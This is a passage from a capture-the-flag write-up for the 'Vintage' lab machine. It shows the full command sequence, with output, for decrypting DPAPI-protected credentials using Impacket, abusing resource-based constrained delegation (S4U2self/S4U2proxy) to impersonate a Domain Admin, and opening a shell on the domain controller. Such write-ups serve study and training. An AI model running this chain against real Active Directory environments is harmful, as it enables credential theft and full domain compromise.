AgAAAAAAAAAAAAAAOQA5AGMAZgA0ADEAYQAzAC0AYQA1ADUAMgAtADQAYwBmADcALQBhADgAZAA3AC0AYQBjAGEAMgBkADYAZgA3ADMAMwA5AGIAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA6o788ZIMNhaSpbkSX0mC01BGAAAJgAAAA2YAABAM9ZX6Z/40RYL/aC+dw/D5oa7WMYBN56zwgXYX4QrAIb4DtJoM27zWgMxygJ36SpSHHHQGJMgTs6nZN5U/1q7DBIpQlsWk15jpmUFS2czCScuP9C+dGdYT+p6AWb3L7PZUPqNDHqZRAgAAALFxHXdcOeYbfN6CsYeVaYZQRgAACYAAAANmAABiEtEJeAVpg4QA0lnUzAsf6koPtccl1os9yZrj1gTAc/oSmhBNPEE3/VVVPZw9g3NP26Wj3vO36IOmtsXWYABkukmijrSaAZUCAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwr2BFf0a0DhdM8JymBww6mzQt8tVsTbDmCZ/uZu3bzOAOUXODaGaJOOKqRm2W8rHPOZ27YjtD1pd0MFJDocNJwdhN5pwTdz2v2JsrVVVE363zZjXHeXefhuL5AMwMQr6gpTsCGcxrd1ziTN9Q1lH9QtnYE7OZlbrZPhiWO2vvdX+UQcKlgpxcSGLaczL53/UJXrvt9hueRn+YXxnK+fiyZ0gmjMlP+yuxOiKSvHM/UT6NmuYewnApQrOBO3A5F1XKHguHKT+VS187uBu/TO1ZT4/CrsKws1aG7EkIXhRKzEgukAwn5nZlU6YaADdeQRDzCR1D0ycJKFyZd4QE1Nt6Kbgr+ukbiurwBJd/D1a3+WWCw+S2OJVHB9qqlcW11heJd+v9eGe1Wf6/PYCvyyWMsvusF8XUswgKQbkH821vscyNmJWDwMply/ZvellKuGQ1/s5gVqUkALQ=

The tester then used the same technique to transfer them to their local machine, and used base64 to decode.

The tester got the key for the 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b masterkey (saved as masterkey-39b) using the dpapi tool from Impacket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ dpapi.py masterkey -file masterkey-39b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Using that key, the tester could decrypt the protected credential:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ dpapi.py credential -file roaming-credential  -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

The “c.neri_adm” user is member of “DELEGATEDADMINS” group. The members of the group DELEGATEDADMINS@VINTAGE.HTB have is added to the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the computer DC01.VINTAGE.HTB.

BloodHound showing the DelegatedAdmins group with AllowedToAct on the DC01.VINTAGE.HTB computer

One caveat is that impersonated users can not be in the “Protected Users” security group or otherwise have delegation privileges revoked. Another caveat is that the principal added to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL must have a service principal name (SPN) set in order to successfully abuse the S4U2self/S4U2proxy process.

The tester exported the correct variable to use the ticket for C.Neri:

1
$ export KRB5CCNAME=./C.Neri.ccache

The tester, once again, removed the ACCOUNTDISABLE attribute from the sql_svc account:

1
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 remove uac SVC_SQL -f ACCOUNTDISABLE

Then, the tester obtained a TGT for C.Neri_adm:

1
2
3
4
$ getTGT.py vintage.htb/C.Neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri_adm.ccache

The tester exported the correct variable to use the ticket:

1
$ export KRB5CCNAME=./C.Neri_adm.ccache

The tester added “svc_sql” to the DELEGATEDADMINS group:

1
2
$ python3 bloodyAD.py -d vintage.htb --host dc01.vintage.htb -k add groupMember DELEGATEDADMINS "svc_sql"
[+] svc_sql added to DELEGATEDADMINS

Once again using the credentials for C.Neri, the tester added a SPN for the svc_sql account, pointing to cifs/dc01.htb:

1
2
$ python3 bloodyAD.py -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object svc_sql servicePrincipalName -v 'cifs/dc01.htb'
[+] svc_sql's servicePrincipalName has been updated

Then, with the correct SPN set, membership in the DELEGATEDADMINS group and not having the ACCOUNTDISABLE attribute set, the svc_sql account is able to perform the S4U2self/S4U2proxy process. First, the tester updates the TGT for the svc_sql user:

1
2
3
4
$ getTGT.py -dc-ip 10.10.11.45 vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache

Exporting the correct variable to use the cookie:

1
$ export KRB5CCNAME=./svc_sql.ccache

And then obtaining a ticket, impersonating L.BIANCHI_ADM (who has membership in the Domain Admins group, as seen in Bloodhound analysis):

1
2
3
4
5
6
7
$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

Then the tester exported the variable to use the newly obtained ticket:

1
$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

And, with that ticket, was able to log in to DC01 with administrative privileges:

1
2
3
4
5
6
7
8
$ wmiexec.py -k -no-pass vintage.htb/l.bianchi_adm@dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\administrator\desktop\root.txt
345e749199ab6e774f63c909e0323b7b
This post is licensed under CC BY 4.0 by the author.